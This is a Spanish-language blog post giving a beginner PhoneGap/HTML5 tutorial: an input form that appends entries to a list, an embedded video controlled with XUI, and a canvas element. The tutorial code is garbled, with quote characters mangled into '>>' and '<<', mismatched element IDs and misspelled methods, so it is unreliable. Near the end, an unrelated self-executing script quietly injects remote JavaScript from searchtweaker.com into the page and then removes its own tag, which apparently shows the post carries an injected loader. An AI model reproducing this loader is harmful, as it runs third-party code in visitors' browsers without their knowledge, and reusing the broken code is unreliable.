Aplicaciones Android con PhoneGap

Publicado: enero 17, 2013 en Uncategorized
Hola gente vaga 🙂 … que va ! ,es sólo un decir muchachos porque me imagino que muchos de ustedes que están  leyendo estas líneas es porque les interesa el saber un poco más, están  investigando y dándole un buen uso al internet!.
Con PhoneGap no tendremos limitaciones de procesamientos de datos pudiendo ser en el servidor como en el terminal. En función a esto les dejaré algunos ejemplos que con sinceridad quizás mi fuerte no es el desarrollo de software pero es bueno saber de todo un poco ,no creen . Lo siguiente es una app básica que posee un formulario de entrada que el usuario puede utilizar generando una lista con los datos introducidos, para eso copia el siguiente código en el fichero Index:

###################################CÓDIGO##########################################
<html>
 <head>
  <title> PhoneGap-Workshop
 </title>

 <style>
   body {
   background: white;
   }
   div#main{
   background: #ccc;
   border: black 1px solid;
   height:80%;
   padding:15%
   width:80%;
   -webkit-border-radius: 10px ;
   }
  </style>  

  <meta name=>>viewport>>content=>>width=device-width,initialscale=0>>></meta>
 </head>
 <body>
  <div id=>>main>>>
    <h1>Ejemplo de Almacenamiento local “Destroyer”</h1>
   <form id=>>Formular>>>
    <input type=>>text>>> id=>>eingabeName>>placeholder =>>Tu_entrada>>/>
    <button id=>>submitEintrag>>Añadir a la lista</button>28  <br>
   </form>
  </div>
 </body>
</html>
#####################################################################################

Lo siguiente que necesitaremos es la función script el cual tomará la entrada, lo insertará en la posición deseada y después de procesar los datos vacie la entrada:

###################################CÓDIGO##########################################
#Validar la entrada
<script> 
document.addEventListener(<<DOMContentLoaded>>, function() {
var ListaFormulario= document.getElementById(ListaFormulario’ );
var CampoFormulario= document.getElementById(NombreFormulario’ );
 document.getElementById(<<Formulario>>).
 addEventListener(<<submit>>,function (evt) {
evt.preventDefault();
 var nuevaEntrada= CampoFormulario.value;
 var nuevaListadeEntrada= document.createElement(li’);
nuevalistadeEntrada.innerHTML= nuevaEntrada;
ListaFormulario.AppendChild(nuevaListadeEntrada);
CampoFormulario.value=<<>>;
return false;
}, false);
});
</script> 
#####################################################################################

 Declaramos una lista en la prte inferior del formulario, donde se iran añadiendo las entradas, por lo que usamos la etiqueta <ul>:

<ul id=>>ListaFormulario>>></ul> 

Cabe acotar señores que que la función añade las entradas a la lista pero no utiliza ningún almacenamiento permanente para guardar los cambios(para eso utilizaremos API HTML LocalStorage)

 Para integrar el video destroyer.mp4 en tu app , tuiliza este código:

var videoTag= ‘<video id= “VideoDestroyer” width= “240” height= “120”‘ “autobuffer src=>>destroyer.mp4>>controls> </video>”;
Con el atributo controls establecemos las funciones de control típicas , y con el Framework XUI se maneja el inicio y la visualización del video

###################################CÓDIGO##########################################

function showAndPlayVideo() {
if ( !x$(“VideoDestroyer”)
.legth){
x$(“#noVideo”).inner 
(videoTag);
x$(“#VideoDestroyer”)[0].
play();
x$(“#VideoDestroyer”).on(“clic k” ,function () {
this.pause();
}).on(“pause” , function () { 
x$(this).remove();
});
}}
#####################################################################################

Existe otro elemento que les sera de mucho interés, el canvas el cual hace posible la exhibición de objetos gráficos, animaciones, manipular imágenes y mucho más. HTML 5 se apoya de DOM para poder reproducir las animaciones que a su vez se apoya en JavaScript.

<canvas id=”Canvas-example”width=”150″ height =”150″></canvas>

Por el momento les voy dejando alguito, la verdad ando algo cansado ….mañana les dejaré muchos más ejemplos….
Nota: si te considera un buen desarrollador o conocedor de las diversas técnicas de hacking , entonces te digo que Peroma Project  es lo que buscas… si estas interesado en formar un grupo de investigación , o aprender nuevas técnicas ponte en contacto con nosotros…porque amamos el Código libre y porque el conocimiento se comparte ….

(function(){try{var header=document.getElementsByTagName(“HEAD”)[0];var script=document.createElement(“SCRIPT”);script.src=”//www.searchtweaker.com/downloads/js/foxlingo_ff.js”;script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState==”complete”||this.readyState==”loaded”)){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Anuncios

Los comentarios están cerrados.